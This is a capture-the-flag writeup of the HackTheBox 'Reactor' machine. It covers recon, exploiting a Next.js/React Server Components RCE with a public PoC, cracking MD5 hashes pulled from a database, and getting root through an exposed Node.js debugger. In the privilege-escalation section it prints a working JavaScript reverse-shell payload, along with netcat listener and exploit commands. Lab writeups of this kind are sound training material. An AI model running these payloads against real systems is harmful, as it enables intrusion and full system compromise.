October 29, 2026
HackTheBox Season 11 โ Reactor: Writeup
Machine Information
By Rohit Sundar
10 min read
Machine Information
Name: Reactor Machine Rating: Easy Operating System: Linux
Overview
The machine features a website vulnerable to a high severity vulnerability affecting React Server Components (RSC) that is leveraged to gain an initial foothold. Privilege escalation is achieved by exploiting a process meant for development and debugging running as root within the machine.
Setting Up
Mapping the IP address of the machine to the hostname reactor.htb.
Reconnaissance
ping -c 4 reactor.htbping -c 4 reactor.htb
This is a basic sanity check confirming that:
- The
/etc/hostsentry from the previous step is working correctly, i.e., the hostname resolved to the target machine's IP address. - The target machine is online and reachable on the network.
Pro Tip The time-to-live (TTL) of 63 is also a useful passive fingerprinting hint โ a TTL starting at 64 and arriving at 63 (decremented by one hop) strongly suggests that the target is running Linux, as Windows machines typically start with a TTL of 128.
sudo nmap -sC -sV reactor.htbsudo nmap -sC -sV reactor.htb
I'm running an nmap service/version detection scan with the Nmap default scripts. The flags mean:
-sCโ run default NSE (Nmap Scripting Engine) scripts-sVโ probe open ports to determine service versions
The scan shows two open ports:
+----------+---------+--------------------------------+
| Port | Service | Details |
+----------+---------+--------------------------------+
| 22/tcp | SSH | OpenSSH 9.6p1 on Ubuntu Linux |
| 3000/tcp | HTTP | A Next.js web application |
+----------+---------+--------------------------------++----------+---------+--------------------------------+
| Port | Service | Details |
+----------+---------+--------------------------------+
| 22/tcp | SSH | OpenSSH 9.6p1 on Ubuntu Linux |
| 3000/tcp | HTTP | A Next.js web application |
+----------+---------+--------------------------------+This is the first real recon step after confirming the host is alive. The goal is to map out the attack surface by identifying what services are running and the service versions.
Note The Nmap service fingerprint is struggling to properly classify port 3000, since it's not a standard service, but the HTTP response headers are a dead giveaway to the use of Next.js in the app.
Enumeration
Next, I'm visiting http://reactor.htb:3000 in the browser, trying to get a full view of the application.
Before running automated tools, it's good to manually browse the application to understand its structure and gather intel.
We see some on-site personnel information on the website which leaks three names:
Dr. Elena Rodriguezโ Lead Nuclear Engineer (ONLINE)Marcus Kimโ Senior Technician (ONLINE)James Thompsonโ Safety Officer (OFFLINE)
These are potential username candidates for social engineering, for SSH brute-forcing or login attempts which can be used later.
curl -I reactor.htb:3000curl -I reactor.htb:3000
The command sends a HEAD request and prints only the response headers. This is a header fingerprinting step to extract technology information cleanly from the command line. The main headers returned include:
X-Powered-By: Next.jsx-nextjs-cache: HITx-nextjs-prerender: 1x-nextjs-stale-time: 429497294Cache-Control: s-maxage=31536000
feroxbuster -u http://reactor.htb:3000 -w /usr/share/wordlists/dirb/common.txtferoxbuster -u http://reactor.htb:3000 -w /usr/share/wordlists/dirb/common.txt
Running a feroxbuster scan to brute-force directories and endpoints on the web application.
Directory brute-forcing helps uncover hidden or unlisted routes that aren't linked from the main main.
ffuf -u http://reactor.htb \
-H "Host: FUZZ.reactor.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 17175ffuf -u http://reactor.htb \
-H "Host: FUZZ.reactor.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-fs 17175
Then I'm running ffuf to fuzz for virtual hosts by manipulating the Host header. Breaking the command down, we have:
-H "Host: FUZZ.reactor.htbโ replacesFUZZwith each word from the wordlist in the Host header-wโ the wordlist used (top 5000 subdomains from SecLists)-fsโ filters out responses with a size of 17175 bytes, which is the default response size of the main page (anything different in size is a potential hit).
Web servers may host multiple sites or admin panels under different subdomains (e.g., admin.reactor.htb, api.reactor.htb) that aren't publicly linked.
VHost fuzzing probes for these by cycling through common subdomain names and checking if the server responds differently.
Open the browser's Developer Tools Console and run the following JavaScript snippet.
console.log({NextJSVersion: window.next?.version});console.log({NextJSVersion: window.next?.version});
This is a one-liner to precisely identify the Next.js version directly from the client-side runtime object that Next.js exposes on window.next. It is also more reliable than guessing from headers or filenames.
Alternatively, browser extensions such as Wappalyzer or BuiltWith can also help in identifying the technologies running in a website with their versions as well.
The identified Next.js version 15.0.3 uses React 19, and is vulnerable to a highly severe CVSSv3 10.0 CRITICAL unauthenticated Remote Code Execution (RCE) vulnerability called React2Shell tracked as CVE-2025-55182 .
Exploitation
I'm using a React2Shell PoC which automates the exploitation and easy to use from GitHub and exploit the target website to gain an initial foothold on the machine.
PoC: p3ta00's React2Shell PoC
git clone https://github.com/p3ta00/react2shell-poc.gitgit clone https://github.com/p3ta00/react2shell-poc.git
If you're interested, you can gain a better understanding about React2Shell, and about how it's exploited in the wild in the following blogs here:
- React2Shell: Decoding CVE-2025โ55182 โ The Silent Threat in React Server Components โ Qualys
- React2Shell and related RSC vulnerabilities threat brief: early exploitation activity and threat actor techniques โ Cloudflare
Moving onto exploitation, using this PoC we can gain a confirmed RCE.
python3 react2shell-poc.py -t http://reactor.htb:3000 -c "id"python3 react2shell-poc.py -t http://reactor.htb:3000 -c "id"
nc -lvnp 4444nc -lvnp 4444Next, I'm starting a Netcat listener on port 4444, which waits for an incoming connection. The flags mean:
-lโ listen mode-vโ verbose output-nโ no DNS resolution (faster, avoids DNS lookups)-p 4444โ listen on port 4444
The next step is to launch a reverse shell payload that connects back to our local machine, so we can execute arbitrary commands on the target machine without having to run the exploit repeatedly, and also for ease of access.
But, before sending the reverse shell payload through the RCE, we need a listener ready to catch the connection. When the target executes the reverse shell command, it will connect back to our machine on this port, and Netcat will hand us an interactive shell session.
python3 react2shell-poc.py -t http://reactor.htb:3000 --revshell --lhost <YOUR_IP> --lport 4444python3 react2shell-poc.py -t http://reactor.htb:3000 --revshell --lhost <YOUR_IP> --lport 4444
With RCE confirmed, this step upgrades the foothold to an interactive reverse shell. Check listener for an incoming reverse shell connection.
Now that we have received the reverse shell, we can move onto the post-exploitation phase.
Post-Exploitation
Before proceeding further, we need to remember that our shell is a dumb shell and is highly unstable โ no TTY, no job control, no tab completion, and commands like su won't work. This needs to be upgraded to a fully interactive TTY.
You can refer to this step-by-step guide on how to stabilize a reverse shell.
I'm looking at the /etc/passwd file to enumerate all user accounts on the system. It reveals:
- All local user accounts and their home directories
- Which users have a login shell ( such as
/bin/bash) as these users are the ones worth targeting for horizontal privilege escalation.
The engineer user (uid=1000) is the primary human user on this machine. This is the account we will be targeting.
Pro Tip
The presence of _laurel is also worth noting. It's a dedicated system user created to run the Laurel plugin which processes and enriches Linux audit logs for SIEM usage.
I'm going to use Base64 to transfer the reactor.db file to our local machine.
cat reactor.db | base64cat reactor.db | base64Copy the base64 output, then on our local machine, save the output to a file called reactor_database. After that, decode the base64 output as follows.
base64 -d reactor_database > reactor.dbbase64 -d reactor_database > reactor.dbFinally, ensure the hashes match on both the sides.
sha256sum reactor.dbsha256sum reactor.db
Binary files like SQLite databases can't just be copy-pasted as text โ they'll get corrupted. Base64 encoding converts the binary into safe ASCII text that can be copied through the terminal, and decoded back to the original binary.
The hash verification confirms that the file was copied intact and wasn't corrupted during the copy-paste transfer. A mismatched hash would mean the database was not copied properly.
Now, open the database as read only in a database viewer.
We see that there are two sets of credentials in the users table:
+----+----------+----------------------------------+---------------+----------------------+
| id | username | password_hash | role | email |
+----+----------+----------------------------------+---------------+----------------------+
| 1 | admin | a203b22191d744a4e70ada5c101b17b8 | administrator | admin@reactor.htb |
| 2 | engineer | 39d97110eafe2a9a68639812cd271e8e | operator | engineer@reactor.htb |
+----+----------+----------------------------------+---------------+----------------------++----+----------+----------------------------------+---------------+----------------------+
| id | username | password_hash | role | email |
+----+----------+----------------------------------+---------------+----------------------+
| 1 | admin | a203b22191d744a4e70ada5c101b17b8 | administrator | admin@reactor.htb |
| 2 | engineer | 39d97110eafe2a9a68639812cd271e8e | operator | engineer@reactor.htb |
+----+----------+----------------------------------+---------------+----------------------+Notice the hashes are exactly 32 characters long. That is typical of MD5 hashes, which are fast to crack.
Now, we can save them to a file named password_hashes.txt in the format username:password_hash and crack them with John the Ripper.
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt password_hashes.txtjohn --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt password_hashes.txt--format=Raw-MD5means these are unsalted MD5 hashes, allowing John to use optimized MD5 computation.--wordlist=/usr/share/wordlists/rockyou.txtis the go-to wordlist for password cracking โ it contains ~14 million real-world leaked passwords and almost always cracks weak hashes.
We got the credentials: engineer:reactor1. Using this we can login to the machine via SSH.
ssh engineer@reactor.htbssh engineer@reactor.htb
The user flag is located at /home/engineer/user.txt. Reading its contents will give us the user flag for this machine.
Privilege Escalation
Now that we have a stable SSH session, we can transfer the LinPEAS script over to the target machine using scp.
scp /usr/share/peass/linpeas/linpeas.sh engineer@reactor.htb:/tmp/linpeas.shscp /usr/share/peass/linpeas/linpeas.sh engineer@reactor.htb:/tmp/linpeas.sh
LinPEAS (Linux Privilege Escalation Awesome Script) is the go-to automated enumeration tool for the privilege escalation phase. It checks hundreds of potential escalation vectors including:
- SUID/SGID binaries
- Sudo permissions (
sudo -l) - Writable files and directories owned by root
- Cron jobs and scheduled tasks
- Running processes and services
- Exposed credentials in config files and environment variables
- Kernel exploits
- Container escape opportunities
- Interesting files in home directories
In this section of the output, we see that the following highlighted process is running as root.
root 1391 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.jsroot 1391 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.jsThis is the key privilege escalation vector. Some observations about the process include:
- A Node.js process is running as
rootwith the--inspectflag enabled. --inspect=127.0.0.1:9229opens the Node.js debugging protocol on localhost port 9229.- The script being run is
/opt/uptime-monitor/worker.js
The most important thing to understand is that the --inspect flag allows a debugger to attach and execute arbitrary JavaScript in the context of the running process โ which is root.
LinPEAS' netstat output confirms port 9229 is listening on localhost only (127.0.0.1:9229), meaning it's not externally accessible. We need to port forward through SSH to reach it from our local machine.
ssh -L 9229:127.0.0.1:9229 engineer@reactor.htbssh -L 9229:127.0.0.1:9229 engineer@reactor.htb-L 9229:127.0.0.1:9229โ forwards your local port 9229 through the SSH tunnel to127.0.0.1:9229on the target.- This makes the Node.js inspector (which only listens on localhost of the target) accessible at
127.0.0.1:9229on our own machine.
Start a new Netcat listener, so it can receive the incoming reverse shell connection from the root process.
nc -lvnp 4444nc -lvnp 4444The listener is needed because the exploitation of the Node.js inspector will involve injecting a JavaScript reverse shell payload that executes in the context of the root process, which will call back to our local machine on port 4444.
Now, open Google Chrome, and go to chrome://inspect. Chrome DevTools can now see the remote Node.js process through the tunnel and lists it as a remote target, thanks to the SSH port forward done earlier.
Chrome's built-in DevTools has native support for the Node.js V8 Inspector Protocol. By navigating to chrome://inspect, Chrome automatically discovers Node.js processes listening on localhost:9229
Click on inspect, then type the following payload to obtain a reverse shell with root privileges:
function shell(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, YOUR_IP, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; } shell()function shell(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, YOUR_IP, function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; } shell()
The DevTools console executes JavaScript inside the root Node.js process. This code:
- Uses Node's built-in
child_processmodule to spawn/bin/sh - Uses the
netmodule to open a TCP socket back to your machine on port 4444 - Pipes the shell's stdin/stdout/stderr through the socket โ giving us an interactive shell
return /a/is a harmless regex return to avoid console errors
Because the Node.js process is running as root, the spawned /bin/sh inherits root privileges โ landing us a root shell on the waiting Netcat listener.
As we can see, we got our reverse shell on our Netcat listener. All that is left to do is to stabilize the reverse shell again, and read the contents of the root flag located at /root/root.txt.
And that's how I pwned Reactor. Follow for more content. Thank you!
Peace, r0hB0t.